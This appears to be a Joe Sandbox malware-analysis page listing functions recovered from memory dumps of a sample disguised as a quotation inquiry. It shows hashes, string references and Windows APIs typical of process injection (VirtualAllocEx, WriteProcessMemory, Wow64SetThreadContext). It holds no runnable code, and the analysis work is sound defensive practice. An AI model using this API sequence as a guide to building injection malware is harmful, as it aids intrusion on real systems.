Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2119426e9b7b03de2d2380e444990f3babf81d21e7f29e947851f3645f27ff02
Instruction ID: 5315201760585bac5c1a701429c3a51546854f7f67203c2544796fed4d569032
Opcode Fuzzy Hash: 2119426e9b7b03de2d2380e444990f3babf81d21e7f29e947851f3645f27ff02
Instruction Fuzzy Hash: E332C074A102298FCB65DF28C884BA9BBB6FF48314F1091E9D94DA7355DB30AE81CF54

Function 0138174C Relevance: .4, Instructions: 394COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b9bf60e63c049d682b00f9405033cd0048e952d903b79825cd89550ed198e27
Instruction ID: f7c88e267c29b00beb381265b6409c9ddb6f16e6b7e9dff91190edae0fd3a9fe
Opcode Fuzzy Hash: 4b9bf60e63c049d682b00f9405033cd0048e952d903b79825cd89550ed198e27
Instruction Fuzzy Hash: 46F18D31E052698FDB15DF68C890BACBBF2BF84304F19C1A9D459AB256D7349E82CF50

Function 01380E18 Relevance: .4, Instructions: 387COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 459d22fad6ebb01bfa10ff32f3330449f5be15b3423fac722f735cba72c4a1ac
Instruction ID: 1ac20e0bd1cb805ef365565d9757ad18b94208079346bcc0bfcff09a72168260
Opcode Fuzzy Hash: 459d22fad6ebb01bfa10ff32f3330449f5be15b3423fac722f735cba72c4a1ac
Instruction Fuzzy Hash: D8E17E75E012298FDB24DF79D890AAEB7F2BFC8304F118569D406AB354DB30AD468F90

Function 01380ED9 Relevance: .3, Instructions: 331COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7b1e637de1046f698c639308459f6a7c76f7d7ace996f54e85578e9094488b8
Instruction ID: 9ce0ec3029547771db39270530014e2b37f9c373592382083f3fa9433c3c8533
Opcode Fuzzy Hash: d7b1e637de1046f698c639308459f6a7c76f7d7ace996f54e85578e9094488b8
Instruction Fuzzy Hash: DDD16E75E012298FDB24DF79D890AAEB7F2BFC8304F158669D406EB354DB3099428F90

Function 064985D0 Relevance: .3, Instructions: 279COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314738370.0000000006490000.00000040.00000800.00020000.00000000.sdmp, Offset: 06490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6490000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8433b1e1cb27b2625fb7af71ab4a7c944b025cfb38e8a009af6b3169703209b
Instruction ID: cb1833099bba87ace7217f831521129936249db2a7ce11050cbfc05dc64ccfe5
Opcode Fuzzy Hash: c8433b1e1cb27b2625fb7af71ab4a7c944b025cfb38e8a009af6b3169703209b
Instruction Fuzzy Hash: E1C1F670D45218CFEF54CFA9C844BADBBF2FB4A300F1098AAD009AB251DB745985CF61

Function 064985BF Relevance: .3, Instructions: 277COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314738370.0000000006490000.00000040.00000800.00020000.00000000.sdmp, Offset: 06490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6490000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e591bc7a99e888025592a08fd8265f5bb466cbc9e469cef7c7450d019329da31
Instruction ID: dfc80ba5609558a9060c5d4e7c311fc3975649cb5b23edd9ce2cd20597609264
Opcode Fuzzy Hash: e591bc7a99e888025592a08fd8265f5bb466cbc9e469cef7c7450d019329da31
Instruction Fuzzy Hash: 68C1E470D41218CFEB64CFA9C944BADBBF2FB4A300F1498AAD009AB251DB745D85CF61

Function 067AD620 Relevance: .3, Instructions: 276COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315669022.0000000006790000.00000040.00000800.00020000.00000000.sdmp, Offset: 06790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6790000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 152cd8605b927c9413c2cc138b5bcfa219017a23eb660198e2e6aa8cfe4c1564
Instruction ID: f8405de4fa55afeeba567d7b94f7646fca05c42974dd8e58397dedce05b96534
Opcode Fuzzy Hash: 152cd8605b927c9413c2cc138b5bcfa219017a23eb660198e2e6aa8cfe4c1564
Instruction Fuzzy Hash: DDD1B174E00218CFDB64DFA9D894A9DBBB2FF89300F1085A9D419AB365DB35AD81CF50

Function 064CBD00 Relevance: .3, Instructions: 273COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314902949.00000000064C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_64c0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 604220819fad8932ab5148fcc56598753e94473adca8cd67d67c110b00374fa6
Instruction ID: e40aa85ffe92651f9ec1347bab9dcc3ad97b3fbb0f7dda157d9b575358ec1f8d
Opcode Fuzzy Hash: 604220819fad8932ab5148fcc56598753e94473adca8cd67d67c110b00374fa6
Instruction Fuzzy Hash: DFC11678E01218CFDBA4DFA9D884BAEBBB2FB49314F1091AAD409A7354DB345D85CF50

Function 064CBD10 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314902949.00000000064C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_64c0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e20080ca6aa8469ea6cf61fa986ed73fd3593c421475815d1483ce91c4bebabb
Instruction ID: ac9a678ce5105880999515031000ea6410291ebf45cbe032bb20974fbf70bf67
Opcode Fuzzy Hash: e20080ca6aa8469ea6cf61fa986ed73fd3593c421475815d1483ce91c4bebabb
Instruction Fuzzy Hash: 5EC1F878E01218CFDBA4DFA9D884BAEBBB2FB49314F1095AAD409A7354DB345D85CF40

Function 065B6F12 Relevance: .2, Instructions: 244COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315425779.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65b0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9c052570fa6ecd1359bb794d60ad5655462a4cd36dd6131f6e7a742c78a3c19
Instruction ID: efd233f72177113513053e6a1d92854b3674df8f7845066746c1f7b35cc6cece
Opcode Fuzzy Hash: e9c052570fa6ecd1359bb794d60ad5655462a4cd36dd6131f6e7a742c78a3c19
Instruction Fuzzy Hash: 6CA10570D05218CFEB94CFA9D844BEDBBF2BB89300F20A4A9E409A7251DB755D85CF50

Function 067AF8D0 Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315669022.0000000006790000.00000040.00000800.00020000.00000000.sdmp, Offset: 06790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6790000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27c991f26d764849cbe71d0ca8592f69b0e4427f33a232cb237b707295145613
Instruction ID: ea688b67814d7a71893c8ba9d3945014c061529c7ab3a9c333eb130c8cb2c889
Opcode Fuzzy Hash: 27c991f26d764849cbe71d0ca8592f69b0e4427f33a232cb237b707295145613
Instruction Fuzzy Hash: 0BA1D670E05218CFEB54CFA9D984BADBBF2BB89304F1092AAD409E7255DB785D85CF40

Function 0138184A Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ec25d525460e8e12cbea552610954861858c0b5fa6f9a083e6c64dc44c7cff1
Instruction ID: e865cd64269bfe8d80b4d9f38861c736f55f0b40f39f41a71b88b7c5a3ddccfc
Opcode Fuzzy Hash: 8ec25d525460e8e12cbea552610954861858c0b5fa6f9a083e6c64dc44c7cff1
Instruction Fuzzy Hash: FB916371E112198FDB19DF68C890BADFBB2BF84308F29C5A9D415AB255D734AD82CF40

Function 01380B50 Relevance: .2, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46da8aa1962457643baa3468a212a03d630dd09f1b07309c00ca966f4bd313ed
Instruction ID: a455f3eb3240295e5838e9196502ac832f75c2fc07d2dc1fc06df592fc490213
Opcode Fuzzy Hash: 46da8aa1962457643baa3468a212a03d630dd09f1b07309c00ca966f4bd313ed
Instruction Fuzzy Hash: 5F81FAB8E4020E9FEF14DFAAD481AADBBF1BF48314F10A559D412EB264DB31A945CF50

Function 064C3A85 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314902949.00000000064C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_64c0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27bed85fafe752cf8c78eae40f0feadee262a4039ecac3e08d00c6bcd7c6f6a9
Instruction ID: 7d2180642a150fa99bfa486d57cf3450cf0d27d71f708c52300489b99180d727
Opcode Fuzzy Hash: 27bed85fafe752cf8c78eae40f0feadee262a4039ecac3e08d00c6bcd7c6f6a9
Instruction Fuzzy Hash: B1814A78D04218CFEB95CFA9D5847AEBBB1FB89324F1091AAD00AA7351DB355D86CF40

Function 065B6278 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315425779.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65b0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d66e5615ab67e471ab413418924399c912a9efaa8a0753b7d03194b6c7ce009
Instruction ID: 08c8ee27ac9bf5929f729b581487848a4f7922bfc21c4f934c33bd6ee033692f
Opcode Fuzzy Hash: 5d66e5615ab67e471ab413418924399c912a9efaa8a0753b7d03194b6c7ce009
Instruction Fuzzy Hash: 9C512670D01228CFEBA4CF6AD840BE9BBF2FB89304F40A5A9E409A7251DB755D84CF55

Function 065B6288 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315425779.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65b0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a08de1264f618532f419b45155376fea235b2d40f4e74692a0b2368a6e8495b5
Instruction ID: 5db193eadea5e31e52ce530941d29bfa84c05477f934d7359c11f434f1f9d117
Opcode Fuzzy Hash: a08de1264f618532f419b45155376fea235b2d40f4e74692a0b2368a6e8495b5
Instruction Fuzzy Hash: B2512670D05228CFEBA4CF2AD840BE9BBF2FB89304F40A5A9D409A7251DB755D84CF55

Function 065B1C2E Relevance: 3.8, Strings: 3, Instructions: 38
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

N, xrefs: 065B1C67
), xrefs: 065B177A
a, xrefs: 065B17A6

Memory Dump Source

Source File: 00000000.00000002.1315425779.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65b0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID: )$N$a
API String ID: 0-2499449507
Opcode ID: a0cd55228c556619bf72f99e0ea5575c3aa1bd8049b34c235d6457cf2d57a2a0
Instruction ID: 5f20ee1d516f27ede5b71e82e21c22048b04b89d7483b4b840c5f26448f45ee5
Opcode Fuzzy Hash: a0cd55228c556619bf72f99e0ea5575c3aa1bd8049b34c235d6457cf2d57a2a0
Instruction Fuzzy Hash: D1119AB0D0122ECFDBA0DF64C8487EEBBB4BB09310F1464A9D409A2680E7740AC5CF59

Function 06796384 Relevance: 2.5, Strings: 2, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

V, xrefs: 067963C0
>, xrefs: 06796391

Memory Dump Source

Source File: 00000000.00000002.1315669022.0000000006790000.00000040.00000800.00020000.00000000.sdmp, Offset: 06790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6790000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID: >$V
API String ID: 0-2723415279
Opcode ID: 16f80bfcd50b1f339344163fefeb1024064fb0a14fe5a2d4abd594015b07fa66
Instruction ID: 98fa14eee089fea7a02787497cb49cec31da025ee7c2ee6e41591d67e5dbe97b
Opcode Fuzzy Hash: 16f80bfcd50b1f339344163fefeb1024064fb0a14fe5a2d4abd594015b07fa66
Instruction Fuzzy Hash: 3511277494012ADFDBA4DF28E898BAAB3F5FB49314F1084E9D419A7640CB768EC4CF01

Function 065B18E9 Relevance: 2.5, Strings: 2, Instructions: 31
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(, xrefs: 065B193F
#, xrefs: 065B196B

Memory Dump Source

Source File: 00000000.00000002.1315425779.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65b0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID: #$(
API String ID: 0-18311415
Opcode ID: 0867a26a292f09b9f5165d44f9fa575a022e4da07b9c47e30f07ded3b4ef41bf
Instruction ID: 36eb8bc4241804e4f360109c0415628bab2447428448762f9e8466508273ec2a
Opcode Fuzzy Hash: 0867a26a292f09b9f5165d44f9fa575a022e4da07b9c47e30f07ded3b4ef41bf
Instruction Fuzzy Hash: 8D019078901268CFCBA1DF24C888AECBBB5FB49304F1051EAD919A3390D7759E80CF44

Function 065B1736 Relevance: 2.5, Strings: 2, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

), xrefs: 065B177A
a, xrefs: 065B17A6

Memory Dump Source

Source File: 00000000.00000002.1315425779.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65b0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID: )$a
API String ID: 0-58725397
Opcode ID: 144fa6936084ffe36467975e55419268b56cb3dae851aef4ff0e9915a2beeb32
Instruction ID: 836e3dbf93a620f9a1f79810e7d4d56e924f4b45c4144d8d281b1264eec36988
Opcode Fuzzy Hash: 144fa6936084ffe36467975e55419268b56cb3dae851aef4ff0e9915a2beeb32
Instruction Fuzzy Hash: 59018874D0122C8FDBA1DF28D8887DEBBB9BB09300F1465AAD809A2280D7745F84CF55

Function 064C0454 Relevance: 1.8, APIs: 1, Instructions: 267processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 064C06C7

Memory Dump Source

Source File: 00000000.00000002.1314902949.00000000064C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_64c0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 3c11287b51fbbd32e1d2b8a2cedffdeb48ae371fd5408aae0533fa316a9bf230
Instruction ID: 00c2b0d840ebc24da41fd0198defc2adc537502b0a276e3d1a0dc618cb0d508c
Opcode Fuzzy Hash: 3c11287b51fbbd32e1d2b8a2cedffdeb48ae371fd5408aae0533fa316a9bf230
Instruction Fuzzy Hash: B1A12274D00318CFDBA1CFA9D9417EEBBB1BB09320F10916AE859A7340DB758985CF44

Function 064C0460 Relevance: 1.8, APIs: 1, Instructions: 261processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 064C06C7

Memory Dump Source

Source File: 00000000.00000002.1314902949.00000000064C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_64c0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: c4668c7585a2d858f031fea86c37d75e7cca6d5946a68354d24339e4c9790508
Instruction ID: c80ebba295a5941bdb3990507995a41a700defae88ac0e54b5518212e9451f1e
Opcode Fuzzy Hash: c4668c7585a2d858f031fea86c37d75e7cca6d5946a68354d24339e4c9790508
Instruction Fuzzy Hash: 9CA111B4D00318CFDBA1CFA9C9817EEBBB1BB49720F10916AE859A7340DB758985CF44

Function 064C0ED0 Relevance: 1.6, APIs: 1, Instructions: 121injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,?,?,?), ref: 064C0FAB

Memory Dump Source

Source File: 00000000.00000002.1314902949.00000000064C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_64c0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: cf49327594e44d91491c001c110fedf98f491cec7b4e23b70864c3d6d1a73d3e
Instruction ID: 334e06341fb63b40491cf2a5b8591ae099c553bf8dfaf6fa9b5855fdb2296fe1
Opcode Fuzzy Hash: cf49327594e44d91491c001c110fedf98f491cec7b4e23b70864c3d6d1a73d3e
Instruction Fuzzy Hash: 7241ACB5D012589FCF10CFA9D980ADEFBF1FB49310F24902AE814B7200D775AA45CB64

Function 064C0ED8 Relevance: 1.6, APIs: 1, Instructions: 116injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,?,?,?), ref: 064C0FAB

Memory Dump Source

Source File: 00000000.00000002.1314902949.00000000064C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_64c0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: db59ee074ccc1aa32bc28c88055b4381f7db54ccda3b1b248082759b49e3345b
Instruction ID: c86d3c699629059803fa102864585a7ebda725e003dc2d999cb7339d40c46666
Opcode Fuzzy Hash: db59ee074ccc1aa32bc28c88055b4381f7db54ccda3b1b248082759b49e3345b
Instruction Fuzzy Hash: 6D41ABB5D012589FCF10CFA9D984ADEFBF1BB49310F24902AE818B7250D775AA45CF64

Function 064C0D70 Relevance: 1.6, APIs: 1, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 064C0E22

Memory Dump Source

Source File: 00000000.00000002.1314902949.00000000064C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_64c0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: d4eb27e9d72520b32dbaa395aa81b73789cb2c147b0d662aac376eed29f6354c
Instruction ID: 4a6cf97b38c44a40aba63888792443aae5bbac4229b0d2bd8ca3a371af0a8a7e
Opcode Fuzzy Hash: d4eb27e9d72520b32dbaa395aa81b73789cb2c147b0d662aac376eed29f6354c
Instruction Fuzzy Hash: 103198B9D042589FCF10CFA9D880ADEBBB5FB59320F10A42AE815B7310D735A946CF64

Function 064C13C0 Relevance: 1.6, APIs: 1, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 064C146C

Memory Dump Source

Source File: 00000000.00000002.1314902949.00000000064C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_64c0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 7a9c0276534c9e30dac50816f63f5cdba99d5c99ef28b442bfa1b8f9201ad3bf
Instruction ID: 6e56ad41cdd204c64eeae529819d2a106f30a8e5b7dfb3cb077497f989c04326
Opcode Fuzzy Hash: 7a9c0276534c9e30dac50816f63f5cdba99d5c99ef28b442bfa1b8f9201ad3bf
Instruction Fuzzy Hash: 8C31BBB9D04258DFDF10CFA9D884AEEFBB1BB49310F24942AE814B7210D775A945CF64

Function 064C0D78 Relevance: 1.6, APIs: 1, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 064C0E22

Memory Dump Source

Source File: 00000000.00000002.1314902949.00000000064C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_64c0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 6bb0321b50fd69024df20445ef945047ec138dca63beeeb999f9e48819f09f0f
Instruction ID: 5d88609e6deeae9f2ca8e017870670ca75618915c5d0ca5fb296f95c55c2b358
Opcode Fuzzy Hash: 6bb0321b50fd69024df20445ef945047ec138dca63beeeb999f9e48819f09f0f
Instruction Fuzzy Hash: 4B3176B9D042589FCF10CFA9D980ADEBBB1BB49320F20942AE815B7310D775A946CF64

Function 064C13C8 Relevance: 1.6, APIs: 1, Instructions: 98memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 064C146C

Memory Dump Source

Source File: 00000000.00000002.1314902949.00000000064C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_64c0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: a890f6c022afc1149cd53a5206c083c9c88585a6a7da42cb37a781b81c9451c6
Instruction ID: 8b32275ca753888663fac10e283e8bf5ff8373e26940a48dd687a8dca2a6a5f8
Opcode Fuzzy Hash: a890f6c022afc1149cd53a5206c083c9c88585a6a7da42cb37a781b81c9451c6
Instruction Fuzzy Hash: B231CBB9D04258DFCF10CFA9D880AEEFBB1BB49310F24942AE814B7210C775A945CF54

Function 064C0810 Relevance: 1.6, APIs: 1, Instructions: 97threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 064C08C7

Memory Dump Source

Source File: 00000000.00000002.1314902949.00000000064C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_64c0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: a394dfefd18388130e257adf8c2d771f43e8d355835ec72d03d472248466bd1e
Instruction ID: 7e15d0af248a353f31b8e0d25196ff6db007d335fddbe682897bb0c8882a4efc
Opcode Fuzzy Hash: a394dfefd18388130e257adf8c2d771f43e8d355835ec72d03d472248466bd1e
Instruction Fuzzy Hash: 1141BCB5D01258DFDB54DFA9D884AEEBBF1BB49310F24802AE419B7300C779A945CFA4

Function 0651DB60 Relevance: 1.6, APIs: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 0651DC04

Memory Dump Source

Source File: 00000000.00000002.1315000145.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6510000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 256a70a4fad16aec05bc55c5e0c26b9d89f83ffb338e850991764986bb450ad1
Instruction ID: 4c6a2e5acbbad09797e54095371eec70869a8a719f23c050c33cdb01c5aa5264
Opcode Fuzzy Hash: 256a70a4fad16aec05bc55c5e0c26b9d89f83ffb338e850991764986bb450ad1
Instruction Fuzzy Hash: A031A7B8D002589FDF14CFA9D980ADEFBB1BF49310F24942AE814BB210D775A945CF94

Function 06488600 Relevance: 1.6, Strings: 1, Instructions: 345COMMON

Download Yara Rule

Strings

d, xrefs: 06488861

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: 18847f7a67a12dc670e730cf6bfdb6a5d5e449d562ec02290cc40303ef92df24
Instruction ID: f76dc97a12c791c2023a59d6bd5f09b1280f18207425411d976bd2bfc1c0ba83
Opcode Fuzzy Hash: 18847f7a67a12dc670e730cf6bfdb6a5d5e449d562ec02290cc40303ef92df24
Instruction Fuzzy Hash: 95D17934600606CFCB65EF28C484A6EB7F6FF88311B55896AD45A9B365DB30F846CB90

Function 064C0818 Relevance: 1.6, APIs: 1, Instructions: 94threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 064C08C7

Memory Dump Source

Source File: 00000000.00000002.1314902949.00000000064C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_64c0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: fed7b4456b7c3a5c49d638b7df4f7f63fb0c254171445168d51b071c500dc083
Instruction ID: e2aa69d1ac5967a626a47d6560022cf021323b5b9c1cfc4f32b7f7923206a254
Opcode Fuzzy Hash: fed7b4456b7c3a5c49d638b7df4f7f63fb0c254171445168d51b071c500dc083
Instruction Fuzzy Hash: 9731BDB5D01258DFDB54CFAAD884AEEBBF1BB49310F24802AE414B7340C7796945CFA4

Function 01381E60 Relevance: 1.5, Strings: 1, Instructions: 201COMMON

Download Yara Rule

Strings

, xrefs: 01381F72

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
